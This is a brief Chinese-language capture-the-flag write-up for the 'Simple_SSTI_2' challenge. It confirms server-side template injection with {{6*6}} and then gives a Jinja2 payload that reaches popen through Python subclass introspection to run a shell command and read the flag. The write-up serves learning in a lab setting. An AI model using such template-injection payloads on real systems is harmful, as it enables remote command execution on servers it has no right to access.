03 Simple_SSTI_2
题目描述
解题思路
- 进入场景后,显示:
You need pass in a parameter named flag
翻译即为:你需要传入一个名为flag的参数
查看源码,没有发现什么特别的:
结合第一题Simple_SSTI_1,对其进行传参,看看是否存在注入:
http://114.67.175.224::18686/?flag={{6*6}}
进行了运算就说明存在SSTI漏洞。
相关工具
略
解题步骤
参考第一题,直接使用魔术方法查找flag,直接得到flag:
?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}
得到Flag
flag{1bffd7158b3bd92f8191c07c00822d82}
新知识点
参考:CTFWEB-SSTI篇
关注学习一下关于魔术方法的使用: